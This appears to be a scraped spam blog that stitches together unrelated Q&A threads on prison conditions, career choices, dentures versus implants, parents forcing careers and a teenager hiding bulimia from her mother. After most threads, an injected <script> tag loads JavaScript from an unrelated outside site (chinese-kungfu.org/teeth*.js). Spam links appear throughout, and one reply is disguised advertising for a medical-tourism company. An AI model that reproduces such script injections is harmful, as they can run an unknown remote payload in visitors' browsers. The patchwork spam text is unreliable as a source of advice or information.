told when they can go outside, when they can shower, when they can watch tv. while they have some pretty nice amenities and not to many responsibilities, i would never want to be a prisoner.<br><br /><br /><br><br /><br />and to the lobster guy and the guy who says it is untrue, in fact at one time in the federal penitentiary system, they used to eat steak and eggs and chicken and lobster and fish and pretty much all the best foods you can imagine. also at that time the inmates ran the farms raised and slaughtered the cattle and so on and so forth. all the food was raised and eaten in house. and the inmates were pretty happy over all. then some moron during the carter administration decided that somehow that wasn't cost effective and it went away. in many states though much of the food, and most of the furniture, found in a penitentiary were produced right there inside the pen. and many times these products sold outside of the pen and purchased by families at all sorts of places you shop at every day.<br>Reply:Poor baby.<br><br /><br /><br><br /><br />Why don't you go quit whining, rob a liquor story and go live the good life with all those "pampered prisoners"?<br>Reply:blame your government. theyre the ones making health care so expensive. theyre the ones who demand your taxes that support criminals. theyre also the ones who want more people in prison anyways. revolving door or not, prisoners are stripped of their freedom and their liberties, and they will be affected the rest of their lives; they have just as bad, if not worse, of an opportunity to get health care, much less a valid job that gives them health care. the prison system is a business, and prisoners are chattel; theyre abused, beaten, and damaged in more ways than people understand. they may be rapists and murderers, but nothing is being done to rehabilitate them as humans. instead, they are treated as less than human. theyre there to produce... you know those "made in USA" products? a lot of them were made by prisoners for mere cents an hour, aka slave wages.<br><br /><br /><br><br /><br />my point is, you really have nothing to be jealous of. with or without healthcare, you probably have a life worth living.<br>Reply:Mahal, I beg to differ. If men in prison would rather trade places, why the hell is the recidivism rate in this country so high??? The biggest majority of inmates who get out of prison, turn around and come right back.Most people would not believe the rights these prisoners have. I totally agree with the question. An inmate can get a complete set of dentures that cost me about $1500 and thats with insurance. Up until recently if a male came to prison and prior to incarceration was on hormones for pre-sex change surgery, the state paid for the treatments. Thank God they stopped that. I bet alot of people were unaware that their tax dollars were paying for that. I could go on and on. I have been a correctional officer for many years and the privelages and benefits these criminals get is sickening. I have even had inmates tell me they came to prison to get dental and health care. They may not be free from the wall that confine them, but they have more freedoms than you think.<br><br /><br />After reading other comments, I felt compelled to add. I have worked corrections in two very different states. As far as an inmate having to pay for medical or dental, they only have to pay IF they have money in their account. If they are indigent, they pay nothing. If they do have to pay, it is something like $2.00 for a medical visit. The state CANNOT deny them access to medical care.<br>Reply:Good question.<br><br /><br /><br><br /><br />We need simpler cheaper prisons.<br><br /><br /><br><br /><br />Maybe we could out-source to Mexico.<br><br /><br />.<br>Reply:Hey tater I have been there and any time you feel they have it better in there than you do out here, well your just a crime away from the "free ride". I spent a year and a half plowing fields with a hoe and picking cotton by hand and spreading my ********* every time I went through a door. I'll take the "hard" life out here any day.<br>Reply:No one who has ever seen the inside of a prison would call it pampering.<br>Reply:What prison have you been visiting? I'd like to arrange for a cherished friend to be transferred there! The top notch medical/dental care I'm always hearing about would be nice!He had a small cavity in one tooth and the answer was to pull the tooth, he needs to see a doctor to renew a prescription for a chronic condition (no, it's not a drug with any recreational potential, it's Prilosec) but can't see the doc because he is not bleeding, and when he does get that script renewed, he'll be paying for it or rather either his mom or I will be doing so. The situation has gotten so bad with prison health care that a federal judge recently ordered the whole department into recievership.<br><br /><br />He shares a 6 x 12 cell with one other man, and counts himself lucky that there are not 3 in that cell due to the amazingly overcrowded state of the facility, he gets to leave that cell about 4 hours a day, including shower, chow, dayroom and yard time... and THAT is when the facility is not on lockdown due to drastic understaffing, courtesy of the completely outrageous hiring process mandated by the Union...on lockdown, it really is in the cell, 24/7, food passed through the door, etc the only thing that keeps going is the mail (and by the way, I send him paper,envelopes and postage, unless it is a letter to one's attorney of record AND there is no money on one's books, the prison does not pay for letters)....the educational programs, IF an inmate qualifies AND if there is a slot available in the class.....and surely you see the need to try to educate these people to improve the chances of their becoming productive citizens upon release?<br><br /><br />The showers are hot and reasonably clean, but inmates buy their own soap, shampoo, toothpaste, etc.<br><br /><br />The food is a joke, and is barely legal in quantity and quality... most inmates get VERY creative with the top ramen that is available at the commisary...<br><br /><br />What Gym/weight room are you talking about? My friend does an aerobic routine in his cell each morning and spends about half his time in the yard running his usual 3 to 5 miles, but there's no equipment available...I'm not complaining about that, but I'd like to know where you get your information.<br><br /><br /><br><br /><br />As to other recreational activities, if there are video games, it has not been mentioned to me... Television in the day room where what to watch is decided by vote...any TVs or radios in the cells were not provided by the state and are not "big screen" 13 inches is the maximum size allowed, either the inmate or someone like me purchased them and like quarterly packages and phone calls (collect and incredibly costly) they are a privilige that is EARNED... Surely you can see the value of rewarding good behavior?<br>Reply:You don't get pampered in prison, you just get more than a homeless person.<br><br /><br /><br><br /><br />Food, clothing, and shelter.<br><br /><br /><br><br /><br />You can also get raped and killed or maimed there.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-51261306587164819882010-05-21T20:28:00.000-07:002010-05-21T20:28:04.985-07:00My future. My mom has plans for my future.I began to understand that it sounds very good but...life is short?and I really want to have fun...she wants me to become a dentist and study in the University and work and have a family...my idea is like this:after graduation of 12th grade I will move to an apartment for rent with 2 friends of mine and live there...study in colege for something,go to Europe with them and visit a guy I am inlove with in Sweden...he has a gf but she is from Latvia and she bitches at him and lies to him...she is very mean and I doubt they are having serious relationship....on the other hand,me and him have so many things in common and we really enjoy talking to eachother...anyway...after that I will come back to Canada,and study University for a dentist and then see what happens...what do you think?<br><br /><br />I just want to have fun while I am young...is it wrong?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>My future. My mom has plans for my future.I began to understand that it sounds very good but...life is short?<br>Very few people who take time off between high school and college ever end up starting college.<br><br /><br /><br><br /><br />Your friends maybe all wild and excited about living together, but when each one gets a boyfriend and moves out, are they still going to give you their share of the rent money? How are you going to support yourself?<br><br /><br /><br><br /><br />Guys who live in another country and tell you that they have a girlfriend aren't interested in you as a replacement for their girlfriend. <br><br /><br /><br><br /><br />In European countries, children have more respect for their family and traditions. Americans are not welcome. Very few Europeans will dump someone of their own country for an American. They might use you for sex or money, but that's about it. Your dreams of this Swedish guy are incredibly naive.<br><br /><br /><br><br /><br />Dentistry is an excellent profession. College does not get easier or cheaper for every year that you age. If after you finish college you want to waste your life that's up to you, but at least if you need it you will have a profession to fall back on.<br><br /><br /><br><br /><br />Listen to your mother. That's why God gave us parents. They're older and wiser.<br>Reply:I don't believe in god.god doesn't exist.and you're stupid. <span>Report It</span><br /> <br>Reply:eh **** your moms plans, if they're so damn good why doesnt she use them? Live a little!<br>Reply:man, thats tricky but you have to do what you want to do you cant live someone else's life, you have to break free and do whats best for YOU<br>Reply:once your done school tell you mother to go f*** herself. You will be miserable your whole life if you don't take the chance of moving in with your friends and having the greatest time. <br><br /><br />go for it and good luck in Sweden.<br>Reply:ok... first... all parents have ideas of what kind of future their kids will have... so mom is normal... as for expecting you want what she wants... that is normal... for you to want different but similar things... also normal... your plans for your future seem sound... except...how can you know that the guy in Sweden is who he says he is... and their is no way to tell that he doesn't have a dozen different girlfriends all over the net... just be careful... it is so easy to be anything you want on the internet... seeing Europe would be cool, but make going to Sweden a part of the trip... keep in touch with your mom every day... there is white slavery rings in Europe that ake advantage of girls your age... and the internet is a way of luring the unknowing into a life that is unexpected and unwanted... yes, it is right to want to have fun while you are young... and while you are getting older... never lose the happy attitude... good luck with your mom.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://wedding-slippers.blogspot.com/>wedding slippers</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-11047603236246206702010-05-21T20:27:00.003-07:002010-05-21T20:27:48.082-07:00Follow my dreams?I currently am going to college at a community college for a year for pre-dentistry, and I think I would love it, but I have always secretly wanted to be an actor, and live in california. I think about it 98% of the time. I get good grades in college, and my mom wants me to be a dentist because they make a lot of money, and my family is poor, and it is just a sure way to make a lot of money. On the other hand I keep dreaming of moving to Hollywood. I think it would break my mothers heart, that I dropped out of college. And it is not like we have a lot of money to send me out there. And I know a lot of actors don't make squat, and a lot of them just stop doing it because they make no money, and i think i would hate myself if I then had to go back to college to get a degree. Please help, thank you<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Follow my dreams?<br>Follow your dreams. We only get one life to live, so if there is something you want to do you should go for it. If you don't you will always wonder, "What if?" or say "I should have done..." However, before you pick up and move to CA you really need to research the area and realize there are a lot of great actors who have yet to be discovered. Also, determine the cost of living and what you will need to make in order to survive. <br><br /><br /><br><br /><br />I have a lot of family in CA and it is very, very expensive. But people are surviving. <br><br /><br /><br><br /><br />Networking is key. You will need to know some people. Take classes and get an agent. There are tons of great actors, but there is always room for more. Don't compare yourself to them, but be realistic about your talent and skills. Being discovered as an actor/actress, singer or model are some of the most common dreams people have, so know it is highly competitive and be ready.<br><br /><br /><br><br /><br />While you are in CA you should definitely continue pursuing your education. Never give that up.<br><br /><br /><br><br /><br />There are other places that have a great entertainment industry. Philadelphia, Atlanta and New York are great places too. <br><br /><br /><br><br /><br />Always follow your dreams! Good luck!<br>Reply:have you thought of getting your degree first then going for your dream then that way you can please everyone.<br>Reply:Your degree is a priority...did you study for nothing?Your dreams..? Do you like what most of the actors are doing? Their life style? Please, think twice! LIFE must be something beautiful for us bu because of that industry (especially Hollywood) almost every girl and boy dreams to be in a movie, to have that kind of life...I dreamed that, too!!! Pray and try to take God as your friend, don't let the temptation lead you into the dark places of "pleasure"! Ask yourself why are you here on planet Earth? To be an actor? You want that the magazines and newspapers be filled with words about you? You want to see you on the screen doing a lot of actions that are not yours? Do you really want that? Take good care what you choose! May God give you the wisdom you need!<br>Reply:Everyone has dreams but one has to be realistic. Are you a good actor.? Have you been recognized as such like in high school? The competition is fierce, as I am sure you know. I think that your mother is probably right ( orthodontics is even better) but of course you have to find out for yourself. I do know that many good actors have finished university like hugh grant, anthony hopkins, and others: but most actors could not even make it in college so consider you are gifted.<br>Reply:You should have a back up like college but you have to remember at the end of the day what matters is that you're happy... and it helps when you like what you're doing because then it doesn't seem like work. good luck.<br>Reply:think about u mother!she give birth give to u and u did this to her?<br>Reply:Can you try to go to school in So. Cal? You can apply for financial aid to pay for school and at the same time go to auditions. I have a lot of friends that are trying to become actors (I'm in so cal) and all of them are planning to go back to school. Acting is very competitive and WILL cost you an arm and a leg. I just want to be honest. But I really think you should chase your dreams, just be smart about it and have a back up plan. Always go after your dream!!! Good luck!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-37464937731565204572010-05-21T20:27:00.002-07:002010-05-21T20:27:32.972-07:00Which would you choose, dentures or implants?Just give your input. You have really bad dental pain, and your dentist tells you that gum disease is inherited in your family, and it's very progressive. You'll need all your teeth removed within a few years. You have 3 options:<br><br /><br /><br><br /><br />A. Have your tribal clinic pull all of your teeth, give you a voucher for dentures, and you won't have to pay anything. The downside is that you will have to go 2 months without teeth in your mouth to allow healing for a proper fit and to make sure there is no infection.<br><br /><br /><br><br /><br />B. Have the clinic pull your teeth, but pay someone else to make your dentures so you can wear them the next day. No one will know you have dentures this way, but you risk infection and improper fit later on from your gums shrinking and not having the chance to heal, and it will cost about $1000 for a nice set. <br><br /><br /><br><br /><br />C. Have your teeth pulled, but opt for implants, which will run $1000 a tooth, and you have to have all of them pulled. You'll be paying $150/month for 18 years.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Which would you choose, dentures or implants?<br>i will take the implants ok it,s only cash ok at least you will have good teeth<br>Reply:I would have implants done..dentures would be a bother to clean and you have to watch what you eat so they don't come out while you are eating. Then to clean them everyday...yuck.<br>Reply:Is there a guarantee you are a candidate for implants?<br><br /><br />Why can't you get immediates after extractions then when the gums are healed opt for the permanents?. Implants require care and could be prone to infection.<br><br /><br />Sorry I would opt for # B<br><br /><br />Many, many people are getting immediates then the permanent...<br><br /><br />Immediates are suppose to help the healing process as they act as a band aid and help to keep swelling down.<br><br /><br />Although immediates take more time for realigns waiting for the gums to shrink.... after the healing the perms are a much better fit. How can implants be considered natural teeth when they are attached to metal in the jaw?<br><br /><br />My husband has been wearing full dentures for years and never has a problem eating. Doesn't even had to go for realigns, that is how good they fit. He has them over 44 years (same top denture) only had a bottom denture replaced because it broke.Compare that to future dental work for the years to come.<br><br /><br />This man eats nuts, bites into apples and they never come out.<br><br /><br /> He can chew nails. If the dentures do not fit tight, you will know by the looseness.<br>Reply:if these teeth are your anterior teeth, or front teeth, I would choose implants of or the dentures if they are more affordable to you. If it were me I would go with implants, just because I think they are easier to deal with. With dentures you need to go back once a year or so and have them reconditioned and make sure they still fit properly which is more money. I think implants require less thought. If you think that you can live without those teeth for awhile though then def wait for the voucher. I would ask about immediate dentures though. Immediate dentures are placed immediatley after extraction of anterior teeth and worn until the gums have proplerly healed and permanent dentures are then placed.<br>Reply:option b<br>Reply:imo <br><br /><br />go with b<br><br /><br />implants are really expensive and alot of insurance companies won't pay for them because they are considered cosmetic if you can wear regular dentures..<br><br /><br />if you have a gum disease you may not even be a candidate for implants <br><br /><br />i would def. want them in immediately!<br>Reply:I think your Dentist is trying to pay off his home, car, and ex wife. First off no Dentist can predict when your teeth will fall out, and any good Dentist will try as hard as they can to keep your real teeth in your head for as long as possible, If you have periodontal disease you can help to slow down the progression by having your teeth cleaned every three months, floss properly, brush after every meal and take good care of yourself. If you smoke; well then you need to quit. Smoking speeds up the bone degeneration process 10 fold. I wouldn't choose any of the three. I would find a new Dentist and also employ the help of a periodontist as well.<br>Reply:I'd go for the dentures. Bad teeth and gums run in my family too and we didn't have dental coverage when I was growing up. I was having a reoccurring problem with my top front teeth and I was going to have to have 5 of them pulled out. I already had quite a few back teeth out and my other teeth needed quite a bit of work. If I lost my top front teeth I wouldn't have many left that were worth keeping so I decided to just have them all pulled out. I didn't get new teeth til 8 months later because of money and my mom said it was best to wait til I was healed and my gums some so my teeth would fit better for longer. I was almost 15, which is young to have full dentures, but I never been sorry I decided to go that route. i'm no dental expert, but from what I heard and read, if you have gum disease you may not be a good candidate for implants, and they cost a lot more than dentures. So if you have to pay for all or part of whatever you get done that's something to consider too. I hope everything turns out ok whatever you decide.<br>Reply:Get the implants, I've spent almost two years in a dentist chair getting crowns and become great friends with my dentist so I know alot about teeth and jaws. <br><br /><br />The dentures will RUIN your jaw! In 20 years you will have no jaw left with dentures. <br><br /><br />The implants are the best way to go, you maybe able to get a discount on your implants if you talk to your dentist personally and tell him/her your financial situtation and even if you can't it's money well spent.<br>Reply:You should get a 2nd opinion with a new Dentist and a Periodontist. Also, you might want to recheck that price on the implants. I am a Dentist and I charge ~$2000 per tooth. That doesn't include the charge for the Periodontist placing the implants for me. He has his own fee.<br>Reply:Dental and Denture Implants surgery is very safe nowadays. My cousin got her dental implants and lasik surgery in India by a company called Forerunners Healthcare. The Price for dental and lasik surgery is very less in India. She paid 25% of the price she was quoted in America.<br><br /><br /><br><br /><br />Forerunners Healthcare is very famous in India They arrange Dental surgery, jaw surgery, lasik eye surgery, Dental Implants etc for foreign patients in India. I read a lot about them in the Newspapers and magazines- about their patient stories.<br><br /><br />They arrange financing for USA, Canadian, UK and other international patients who plan to have surgery abroad for low cost, as dental and eye surgery is not covered by insurance. They also have photos pasted of their International patients. You can checkout their website. There are huge cost savings. As a doctor I personally believe that surgery can be easily handled in India, as the quality of healthcare available In India is simply best in the world. The surgeons are USA/UK trained and facilities are 5 star.<br><br /><br /><br><br /><br />http://www.forerunnershealthcare.com<br><br /><br />Hope this helps.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://shoe.imwebhost.com/bowling-shoes/>Bowling Shoes</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-63084627840884911512010-05-21T20:27:00.001-07:002010-05-21T20:27:16.943-07:00Hey do u parents out there have ideas what u want your children to be and do for jobs?i forced my son to go to law school and i forced my daughter to be a doctor and i forced my other daughter to be a dentist.<br><br /><br /><br><br /><br />i aint going to have any wasters in my family. my brother made his two sons be a lawyer and doctor too.<br><br /><br />my sister forced her two daughters to be optician and phycologist and her son to go to business school<br><br /><br /><br><br /><br />follows on from our father forcing me to be a lawyer my brother went to business school as is a ceo and my sister is a doctor.<br><br /><br /><br><br /><br />and we r english and all happ and rich<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Hey do u parents out there have ideas what u want your children to be and do for jobs?<br>Good on you and all your family .I would like my children to be what ever makes them happy .And I would like them to grow up having respect for others.Sorry my expectations aren't too high I guess.<br>Reply:no offense, but thats not really fair to them. they should be able to choose what they want to do on there own.<br>Reply:If you were my father Id force you to lick the toilet bowl.<br>Reply:i want mine to be happy and grow up and live their own lives. to be whatever they want to be. because i tell mine you can be whatever you want to be to always be honest and do your best<br>Reply:I expect of my children their very best, whatever that may be. If it is to be a doctor making 1/4 million a year then its a doctor making 1/4 million a year. If it's being a schoolteacher making what little they make, then its being a school teacher-no offense whatsoever to any teachers reading this-you all just do NOT get paid enough for what you have to endure. If for whatever reason it is "menial" labor then that is what I expect too. THEY have to live with their career choices NOT me. My job is only to make sure they know what their very best is and that they know that is what they should ALWAYS strive for.<br>Reply:My eldest is 9 so his chosen career is not yet really an issue, but I know you can't force them to do anything. Hopefully he'll captain England, but just in case I'll encourage him to go to Med school. However what I do know is he won't be sat on his a*rse, If he hasn't got a plan, he'll be out grafting. And none of this poxy media studies degrees either<br>Reply:Wow, for sounding like you come from a educated background, your spelling and grammar sure sucks.<br>Reply:Children should be allowed to choose their own profession. THey will spend 40 plus years of their life doing it. My job, as the parent, is to push them to do the very best they can at whatever they choose to do,<br>Reply:My Nephew is 5,and wants to be a Soldier like his Uncle Dick was<br><br /><br /><br><br /><br />ive told my Brother to talk him out of it<br>Reply:Happy and rich is the jack pot! But, I'd never force my children to be anything, because then they would miss the big important lesson in life of making decisions for themselves. I just hope that what ever my children decide to be, they are not stuck up and self conceited or rude and judgemental like some people tend to be these days. Know anyone like that?<br>Reply:Don't think my little girl would appreciate me forcing her into a career she probably wouldn't want.<br><br /><br /><br><br /><br />I wouldn't want her to become a doctor, isn't that just a failed vet!<br>Reply:You paid by yahoo to ask silly questions?<br><br /><br /><br><br /><br />+<br>Reply:as long as they are happy and healthy its ok with me<br><br /><br />money is not that important<br>Reply:No one ever forced me to be or do anything.<br><br /><br /><br><br /><br />I've allowed my children to learn from their own mistakes. I preached education until I was blue in the face, but they went their own ways.<br><br /><br /><br><br /><br />Now, at 24 and 21, respectively, after struggling on their own (with a bit of help every so often) for 6 and 3 years, they are both enrolled in school, son in nursing, daughter in business/accounting, so they can make better lives for themselves.<br><br /><br /><br><br /><br />The baby has learned from their mistakes, at 17 she plans to attend school and become a commercial artist.<br><br /><br /><br><br /><br />I want them to be productive, happy, and ambitious, to view life as a journey. I want them to know that while money isn't everything, it sure opens doors to a lot more experiences.<br>Reply:I have a feeling that if I did that to my kids, they'd FORCE me right into the old age home. My daughter wants to be an artist and I couldn't be happier about it!<br>Reply:There are two ways to look at this question. 1) you're a complete prat and have no idea what you're talking about. You're a dreamer, ' a Walter Mitty'.<br><br /><br /><br><br /><br />2) and this is scarey. You're for real. Particularly the doctors in your family. This is a vocation - not something that you can 'force' anyone to do. You have got to want to do it, if necessary you'd do it for no pay, you want to be a doctor so much. For the other professions, I'm equally bothered that your children are so stupid (and for that matter, the rest of your family) that they will only do a career their overbearing parent tells them to do. This might work for a menial job for someone who has not benefitted from a good education, but really: you TOLD your children to be these things? and they did it?!!!<br><br /><br /><br><br /><br />Another little point. What exactly in your bigotted, narrow view is a 'waster'? I presume someone who was to work in a supermarket, a nurse, a teacher, a policeman, a binman, etc, etc. Hmmm.<br><br /><br /><br><br /><br />I don't think I ever want to come across any of your family in a professional capacity - prehaps you could warn me where they all are?<br><br /><br /><br><br /><br />If, (god forbid), you are English - well, I can't think of a worse example of what being English stands for. I certainly wouldn't want you to stand up and speak up on my behalf about being English!!<br><br /><br /><br><br /><br />Rich? If you're counting financially, maybe you are, maybe your not. The truth is, nobody actually cares. That's not what makes a successful human being. However, if your talking spiritually, as a parent, as productive member of society, you're bankrupt!!!!<br><br /><br /><br><br /><br />BTW - what do I tell my children? What I said before - choose a career that you would do for no pay if necessary, if earning money was not an issue. That way you'll be truly happy and successful.<br>Reply:i want them to do whatever it is that they are happy doing and be able to support themselves and a family, if they choose to have one. i am not going to force them to be anything.<br>Reply:Glad you are not my lawyer, your punctuation and spelling is crap.<br><br /><br />I want my kids to do what ever will make THEM happy, i won`t be forcing them to do anything.<br>Reply:Forced !!! sorry i think thats wrong we all want whats best for our children but i don't understand why you had to force them into being what you wanted them to be, they are adults and should be able to make their own minds up !<br>Reply:Wow, if you were my parent, I'd be disgusted with you....<br><br /><br /><br><br /><br />Great to see how law school taught you to write so well. Last time I studied about the English language, "ain't" was not proper English. Maybe you can use some of that money you have from being so rich and buy yourself an English degree.<br>Reply:Not convinced I'm afraid!...<br><br /><br />If it were a serious question I would say that when children get to the age where they can show their strenghts then you can encourage them to work hard in that direction. First and formost they should be happy. Even a crap job can be enjoyable if there is nothing in the world you would rather do! You work for a long long time so forcing someone to be something, eprhaps to live your dreams through them is unfair and usually leads to rebellion.<br><br /><br />As I am sure you are joking (Given the standard of your spelling, grammar and choice of phrases...) I would say perhaps you were not encouraged enough! lol :)<br>Reply:You sound so far at your own **** that the sun doesn't shine. I'd force you to write that 100 times in sand in the cold weather.<br><br /><br /><br><br /><br />By the way, you can't spell either... Pratt<br>Reply:I always wanted to be a teacher. My dad, however, wanted me to be a doctor. After three years of premed, I hated it so much that I quit. I had my nursing license by that time, however, and did that, but also hated it. The medical field just wasn't for me. I still want to be an elementary school teacher, and plan on going back to school for my teaching degree in a few years, once all of my kids start school. I would rather be making $20,000 a year and be happy in my work and love what I do than making $250,000 a year and hate my job. I would never dream of making my children be anything that they didn't want to be. Everyone is called to do something in life, and only that person and they alone know what that calling is and what they will be happy doing. Let your kids live up to their full potential doing what they love to do. Wouldn't you rather see them happy with their life, than miserable? A good parent wants a happy life for their children.<br>Reply:We can't really tell our kids what to be when they get older but I would like to see our 5 year old go into the military.Our 7 year old tells us he wants to be a cop,our 5 year old also wants to be a cop, and as for our 3,18mon and 4 mon dunno yet.<br><br /><br /><br><br /><br /><br><br /><br />What does you being English have anything to do with it? My 3 older kids are all mexican and the 2 younger ones are mexican/white.<br>Reply:You're a lawyer? It seems like in all those years of schooling, you would have learned about proper spelling and capitalization.<br><br /><br /><br><br /><br />I don't think you should force your kids to take on a particular profession. If every parent forced their children to go to school to only make high incomes, there would be no civil servants, teachers, nurses, social workers, daycare workers, construction crews, hairdressers, etc. In some ways, the small incomes of some of those jobs is a good way. Careers like teachers, clergymen, nurses, social workers and civil servants should be chosen not based on your paycheck, but because you have a real desire to have that career. They're as much a calling as they are a career.<br><br /><br /><br><br /><br />I have two boys. I will STRONGLY encourage them to get some sort of schooling after high school, and take on decent jobs that will allow them to provide for themselves and their families, but it doesn't matter to me what it is. They could be doctors or lawyers, or they could be teachers or police officers. Doesn't matter to me. All of those careers are respectable.<br><br /><br /><br><br /><br />The only real ideas I have are based on their personalities. When my sister was only seven or eight years old, the observant adults in her life knew she would have a career in medical care. She begged to go with my grandfather to the ER when he cut his arm and had to have stitches, and asked to watch the doctor work. She got her nursing degree five years ago.<br><br /><br /><br><br /><br />With my own children, I believe my oldest son will have some sort of technical or computer-related job. He's fascinated by, and talented at, using the computer and other electronics. My youngest child has an awe-inspiring talent for noticing small details, and I think he'll probably have some sort of job that will take advantage of that skill.<br><br /><br /><br><br /><br />If I'm wrong, I'm not that worried about it, though.<br>Reply:i don't care want my little girl does as it up to her i not going to but press on her as long as she dose better than me<br>Reply:My oldest is a teacher of high school History and English.<br><br /><br /><br><br /><br />My next daughter is in medical school and will most like be a pathologist<br><br /><br /><br><br /><br />\Mt son just graduated high school and has not decided what he wants to do. He is delivering pizzas right now and a weekly newspaper on weekends, saving his money for whatever school he decides to go to.<br><br /><br /><br><br /><br />My fourteen year old daughter wants to be a writer and or a movie director. She has talent in both areas and I will be surprised if She does not pursue on or both of those careers.<br><br /><br /><br><br /><br />My seven -tear old twins are all over the map. A teacher one day, a pilot, or sewer worker, or doctor or paleontologist the next. Only a few of the things I have heard them say.<br><br /><br /><br><br /><br />What I want for them is to be happy and fulfilled in their choices. It would be interesting to be the mother of a doctor and a sewer worker. But they are happy I will be, too.<br>Reply:Hello<br><br /><br />Well I really think that you don't have children<br><br /><br />And if you do Poor Them<br><br /><br />For Starters You Can't Even Spell You Correctly !!<br><br /><br /><br><br /><br />And You live In A Camper van ! ? ! ?<br><br /><br />Huh ?<br><br /><br />For Those Unsure - look At Previous Questions from this person ! ! ! ! =]<br>Reply:what did you wanted to be when you were a little girl? sounds like being a lawyer was something of no intrest to you at the time.. do you want to force your children to be something that they don't want to? I would hate for my daughter or son to tell me that I ruin their lives by making them do something they didn't want to do... I know you want them to succeed like all mom %26amp; dad want for their children, but forcing them to do something isn't always a good thing.<br><br /><br /><br><br /><br />PS - being rich has nothing to do with your child happiness!!!!<br>Reply:sometime when a parent choose a career for their children, its always difficult, its better parents should allow their children to choose a career they like it helps them a lot. <br><br /><br />your duty as a parent is to guide them right,advise suggest etc....<br>Reply:ok that's yout opinion but i'm not pushing my daughter. she will find her own way when she is older and will make mistakes and hopfully learn from them.. As a long as she is doing a career in something that she enjoys and is happy in whether its use a degree or not then that's fine by me. i will be there giving all the support love and encouragement i can.(just to let you in to a little secret kids usually land up, resenting parents that have pushed them)<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-24211328103901129912010-05-21T20:27:00.000-07:002010-05-21T20:27:00.942-07:00Cavities from vomiting, I REALLY need help?Hi, I've been suffering from bulimia for a couple of years but nobody knows about it, I haven't told anyone, not my family or my friends.<br><br /><br /><br><br /><br />Anyway, I had an appointment at the dentist today after school for a check up, so I just went by myself, my mum didn't come with me. I saw the hygienist first and she did some cleaning and stuff and said I had some cavities in my teeth, but then she went away and talked to the dentist for a while and when I saw him he said I have cavities in practically all of my teeth and he asked me if I had an eating disorder.........I tried to deny it but he said he could tell because of the condition of my teeth.<br><br /><br /><br><br /><br />I'm really scared now - first, I'm scared that he'll tell my mum about the bulimia, is he allowed to do that? Second, how on earth am I going to explain to my mum how I ended up with so many cavities without telling her about the bulimia? I really don't want her to know. She always says I'm fat, that's why I do it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Cavities from vomiting, I REALLY need help?<br>You should take care of this right away. I'm 44 years old and I was a bulimic... Do you know that bulimia can hurt your heart?? I had this problem on and off during almost 20 years because of that I lost a baby because I didn't want to get fat during my first pregnancy. I always use to carry a rubber band on my wrist to pull my hair back when I was vomiting. Right now I'm not a bulimic anymore but my heart is so weak that I cant do a lot of the things healthy people do like running. One my friends at college die because her stomach rupture. Just tell your mom and get help ASAP. Take care of your self!!!!!read the Consequences of bulimia nervosa<br><br /><br />Malnutrition <br><br /><br />Dehydration <br><br /><br />Electrolyte imbalance <br><br /><br />Hyponatremia <br><br /><br />Vitamin and mineral deficiencies <br><br /><br />Teeth erosion and cavities, gum disease <br><br /><br />Sialadenosis (salivary gland swelling) <br><br /><br />Potential for gastric rupture during periods of bingeing <br><br /><br />Esophageal reflux <br><br /><br />Irritation, inflammation, and possible rupture of the esophagus <br><br /><br />Laxative dependence <br><br /><br />Peptic ulcers and pancreatitis <br><br /><br />Emetic toxicity due to ipecac abuse <br><br /><br />Swelling of the face and cheeks <br><br /><br />Callused or bruised fingers <br><br /><br />Dry or brittle skin, hair, and nails, or hair loss <br><br /><br />Lanugo <br><br /><br />Edema <br><br /><br />Muscle atrophy <br><br /><br />Decreased/increased bowel activity<br>Reply:I hope that you take this seriously and talk to your mother too ...you'll need of the help of people that love you. Good luck!! <span>Report It</span><br /> <br>Reply:Just come clean about it and get some therapy. There are worse things than being fat, like all your teeth and hair falling out.<br>Reply:Yes, stomach acid is hard on teeth and eats the enamel off them, causing cavities and a whole bunch of worse problems down the road. I think you have to tell your mom. You should get someone to be with you when you tell her if you think it would help you. She shouldn't be calling you fat...she should be offering to help you out in any way she can!!<br><br /><br /><br><br /><br />Good Luck!! Stay strong. You can get over an eating disorder and be healthy.<br>Reply:Uh, well if she is always tell you that you are fat , then I dont see why she couldnt undertsand that you have developed an eating disorder. The best thing you can do is be honest and get help. Rotten teeth are just the beginning of what Bulimia can do to your body.<br>Reply:The help that you need is help in how to let your mother know. Bulimia is a disease of the mind that makes you want to do this. It is also extremely unhealthy as you have just learned. Cavities is just one way that you are damaging your body.<br><br /><br /><br><br /><br />You need to get help, not hide your problem. For your sake, please tell your mother what is going on.<br>Reply:What are Some Signs of Bulimia Nervosa in the Mouth?<br><br /><br /><br><br /><br />Enamel erosion of all teeth due to the chronic exposure to acid in vomit. <br><br /><br /> <br><br /><br /><br><br /><br /> <br><br /><br /><br><br /><br />Teeth Suffering From Severe Erosion<br><br /><br /><br><br /><br /> <br><br /><br /><br><br /><br />Increase in occurrence of cavities due to excessive carbohydrate intake during binge-eating. <br><br /><br />Dry mouth from decreased salivary flow and parotid gland dysfunction put the patient at an even higher risk for cavities. <br><br /><br />Small, purplish-red lesions on the palate due to contact with objects used to induce vomiting. <br><br /><br /> <br><br /><br /><br><br /><br />Silver fillings will be raised due to erosion of the teeth. <br><br /><br 